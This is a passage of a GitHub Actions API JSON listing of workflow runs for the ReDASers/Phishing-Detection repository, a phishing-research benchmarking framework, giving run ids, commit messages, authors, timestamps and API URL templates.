epos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":58497879,"node_id":"MDExOldvcmtmbG93UnVuNTg0OTc4Nzk=","head_branch":"master","head_sha":"a16b467262f950e81cb6d803f381fbfff00e21a7","run_number":90,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":531026139,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGU1MzEwMjYxMzk=","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/58497879","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/58497879","pull_requests":[],"created_at":"2020-03-18T21:35:08Z","updated_at":"2020-03-18T21:39:48Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/58497879/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/58497879/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/531026139","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/58497879/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/58497879/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/58497879/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"a16b467262f950e81cb6d803f381fbfff00e21a7","tree_id":"785da199e179cf175215ccf257ca05ddaf11c44c","message":"Merge pull request #39 from sbaki2/ranked_matrix\n\nranked_features added","timestamp":"2020-03-18T21:35:05Z","author":{"name":"Xin","email":"xin9186@gmail.com"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":58293876,"node_id":"MDExOldvcmtmbG93UnVuNTgyOTM4NzY=","head_branch":"ranked_matrix","head_sha":"7e9a129e386c9acc87bbb556381e472e4e0c4c13","run_number":89,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":530171593,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGU1MzAxNzE1OTM=","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/58293876","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/58293876","pull_requests":[],"created_at":"2020-03-18T15:41:31Z","updated_at":"2020-03-18T15:45:41Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/58293876/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/58293876/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/530171593","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/58293876/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/58293876/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/58293876/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"7e9a129e386c9acc87bbb556381e472e4e0c4c13","tree_id":"785da199e179cf175215ccf257ca05ddaf11c44c","message":"ranked_features added","timestamp":"2020-03-18T15:40:14Z","author":{"name":"xzhou29","email":"xin9186@gmail.com"},"committer":{"name":"xzhou29","email":"xin9186@gmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":50405595,"node_id":"MDExOldvcmtmbG93UnVuNTA0MDU1OTU=","head_branch":"master","head_sha":"b6eb2428e9831bc830315de2fc0ea65dfd3b18e1","run_number":88,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":502381149,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGU1MDIzODExNDk=","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/50405595","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/50405595","pull_requests":[],"created_at":"2020-03-05T22:30:18Z","updated_at":"2020-03-05T22:35:26Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/50405595/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/50405595/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/502381149","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/50405595/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/50405595/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/50405595/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"b6eb2428e9831bc830315de2fc0ea65dfd3b18e1","tree_id":"b02a22c81c40eaa04919a301b296f0a4dfd69720","message":"New Email Input System (#38)\n\nA new input subsystem for email datasets that is decoupled from the legacy feature extraction system.\r\n\r\nChanges to behavior:\r\n\r\nThe assumption of a flat folder structure is removed. PhishBench is now capable of handling arbitrary folder structures.","timestamp":"2020-03-03T18:47:48Z","author":{"name":"Victor Zeng","email":"zacker150@users.noreply.github.com"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}"